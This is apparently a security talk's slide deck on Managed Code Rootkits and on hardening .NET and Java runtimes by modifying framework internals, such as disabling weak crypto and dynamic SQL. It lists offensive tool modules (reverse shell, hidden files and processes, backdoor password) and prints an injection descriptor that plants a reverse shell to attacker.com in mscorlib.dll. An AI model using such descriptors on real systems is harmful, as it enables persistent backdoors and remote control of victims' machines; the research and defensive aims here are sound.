Runtime Hardening

Hardening the runtime internals

Erez Metula | Founder
Application Security Expert

ErezMetula@AppSec.co.il
Agenda

• Background – Managed Code Rootkits (MCR)
• Customizing VM Runtime Frameworks
• ReFrameworker V1.0
• Disabling Dangerous Methods and Operations
• DEMOS!
Background

- I started playing with the idea of Managed Code language modification back in late 2008
  - It all began with the whitepaper “.NET Framework Rootkits – Backdoors inside your Framework”
- Extended the concept from .NET to other managed code frameworks – Java, Android Dalvik, Adobe AVM, etc..
  - Presented in BlackHat, Defcon, CanSecWest, RSA, OWASP, etc..
- The book is coming out soon
  - Published by Syngress
  - Covering information gathered while researching MCR
  - Covers MCR deployment and attack vector techniques

AppSec
Securing Your Applications
Reminder - What are MCR (Managed Code Rootkits)?

- Changing a framework’s runtime internals
  - Implementation Code, Methods (Functions), Default values, Instructions, Event handlers, etc.
- Changing the Runtime influences the execution flow of applications depending on it
  - Creating an “alternate reality” for applications
  - Change the “matrix” in which they live in
- The MCR code runs as part of the managed code VM, acting as “root”
Example - class libraries manipulation

static void Main(string[] args)
{
    //DO SOMETHING
    //EXAMPLE: call RuntimeMethod

    RuntimeMethod();
}

public void RuntimeMethod()
{
    //The implementation of RuntimeMethod()

    //Implementation code
    //.....
}
The good news - A hardened VM Runtime

• The same “rootkit like” techniques used by malware can be used by legitimate software for better protection
  – Many AV uses rootkit techniques to protect themselves

• It can be used to create “Hardened VM Framework”, to protect against application level vulnerabilities
  – But without touching the applications themselves

• Removing dangerous functionality

• Create a set of restriction rules
  – Protecting from errors caused by developers
  – Can be used to enforce secure coding practices

• ReFrameworker can be used as a tool that implements such restriction
Create your own customized hardened framework

- Code that runs on the hardened VM must obey specific rules
- The VM is fixated to use secure defaults, while disabling the rest
- Some examples
  - Disable dangerous mechanisms
    - Example - Disable dynamic SQL queries leading to SQL Injection
  - Perform automatic HTML encoding (XSS mitigation)
  - Confuse banner grabbing techniques
    - Example - Make a Java app to look like a .NET app
  - Disable detailed error messages
  - Allow only secure crypto algorithms and operations
    - Example - Remove the ability to use DES, Remove ECB mode, etc..
  - Enforce secure authentication modes
    - Example - Encryption in Basic authentication, forms authentication, etc..
Intervention strategies

• Completely remove the code, eliminating its existence for good.
  – The problem with this approach is that removing the offending code might break references in other sections of the code

• Throw an exception
  – Requires less effort, adding small pieces of code to the method while leaving the rest of the method as is
  – Allows us to attach an error message to the exception

• Delay the method invocation

• Halt the application (example: perform an endless loop)

• Reboot the machine (in case identifying a severe event)
Attaching into the “Object” class

- All classes automatically extend the class “Object”
- Object contains generic code that is shared among all the other objects
- Injecting a new method to “Object” class will influence ALL existing classes
Automating the process with ReFrameworker V1.1

- Things were getting very complicated to implement
- I needed a **general purpose Framework modification tool**
  - So I wrote one and called it ReFrameworker
    - Originally called “.NET-Sploit”.
- Able to perform all previous steps
  - Extract target binary from the Framework
  - Inject code and perform required modifications
  - Generate deployers to be used on target machine
- Easy to **extend** by adding new code modules
ReFrameworker module concept

• Generic modules concept
  – Payload – injected code
  – Method – a new method
  – Class – a new class
  – Reference – external DLL reference
  – Item – injection descriptor

• Comes with a set of predefined modules
  – Most of the scenarios have a PoC using ReFrameworker
  – List of included items (partial list):
    • HideFile.item
    • HideProcess.item
    • Conditional Reverse shell.item
    • DNS_Hostname_Fixation.item
    • Backdoor forms authentication with magic password.item
    • Send Heart Bit method execution signal to remote attacker.item
<Item name="Reverse Shell">
  <Description>open reverse shell to attacker.com at port 1234</Description>
  <BinaryName>mscorlib.dll</BinaryName>
  <BinaryLocation>c:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089</BinaryLocation>
  <Payload>
    <FileName>ReverseShell.payload.il</FileName>
    <Location><![CDATA[void Run(Form) cil managed]]></Location>
  </Payload>
</Item>
Disabling Dangerous Methods and Operations

- It would be great if we could disable specific runtime functionality that is considered insecure.
- We could remove such functionality entirely from the runtime.
- Preventing developers from using it from the first place
  - Eliminate the path toward a possible mistake by disabling the ability to use a feature that might cause the mistake.

- Examples
  - Usage of dynamic SQL queries leading to SQL injection
  - Insecure cryptography algorithms and encryption modes
  - Inherently insecure authentication modes such as Basic authentication
SOME EXAMPLES
Disabling bad crypto modes

- Bad crypto is sometimes worse than not doing crypto at all
  - False sense of security
- Examples:
  - Bad crypto algo
  - Bad crypto modes

Original image

Encrypted (AES, ECB mode)
DEMO:

DISABLING THE USAGE OF UNSECURE DES ALGORYTHM
Reporting specific events

• The injected method “SendToUrl(string url, string data)” is used to transfer information to the defender’s collector page

• Report specific security events
  – Login
  – Logout
  – Detected attacks
  – Runtime exceptions
  – Connection to external resources (example: DB)
  – Etc..

• When such information is detected, it is sent to the collector mechanism
Protecting specific files

• Manipulate the machine-wide method responsible for providing a list of files in a given directory
  – “File[ ] GetFiles()“ in .NET
  – “File[] listFiles()” in Dalvik and Java

• Our code controls specific files from the returned array
  – Example: Hide the existence of “SensitiveFile.txt”

• Can also be used to
  – Create false information about non-existing files
  – Redirect the content of other files
  – Create “locked”, read only files
  – Etc..

AppSec
Securing Your Applications
DNS manipulation

- Manipulating DNS queries / responses

Example

- Fixate the runtime DNS resolver to return a specific IP address, a control point performing content filtering by the defender
  - `Dns::GetHostAddresses(string host)` (.NET)
  - `InetAddress::getByName(string host)` (Java)

- All communication will be directed to us
- Can also be used to ban specific addresses
- Etc..

- Affects **ALL** network API methods
Enforcing secure coding policy

• Organizations often create a secure coding policy stating rules developers must follow when writing code.
  – It would probably list prohibited classes or methods, dictate how certain things should be implemented, and so on.

• Who makes sure the developers follow the document's instructions?

• Runtime patching can be a low-level technique to implement such a policy, while making sure no one changes the policy
  – The policy is hard-coded into the runtime
**DEMO:**

PREVENTING SQL INJECTION BY BANNING DYNAMIC SQL QUERIES
Masking the web application technology using runtime camouflaging

- Information gathering is a crucial step for the attacker in terms of determining his next steps
  - It also affects the tools and techniques that will soon be utilized.
- Let’s subvert him by planting false information to mask the real identity of the underlying app technology
  - AKA “anti banner grabbing for the application level”
  - It will not stop the attacker, but it will confuse him and his tools.
- Confuse information gathering techniques by making an app to look like it was developed by another technology
Example – making a .NET app look like a Java app

• Adding jsp extension and handler to web.config

```xml
<buildProviders>
</buildProviders>

<httpHandlers>
  <add verb="*" path="*.jsp" type="System.Web.UI.PageHandlerFactory"/>
</httpHandlers>
```

• Adding jsp extension to IIS
Camouflaging deeper at into the application level

- Making View state
- Session id
- And so on..
DEMO:

RUNTIME CAMOUFLAGING (.NET -> JAVA)
Summary

• Malicious code can be hidden inside an application VM
• We as the good guys can embrace similar techniques to harden the runtime
  – Harden the Framework from the inside
  – Disabling Dangerous Methods and Operations
• Each framework has its own modification technique
  – The concept stays the same
• ReFrameworker simplifies Runtime modifications
  – Lot’s of other PoC examples. Look at the modules code
Questions ?
Thank you!

Materials (code, tool, PoC, etc.) can be found here: http://www.AppSec.co.il

And here (soon):

Feel free to contact me:
ErezMetula@AppSec.co.il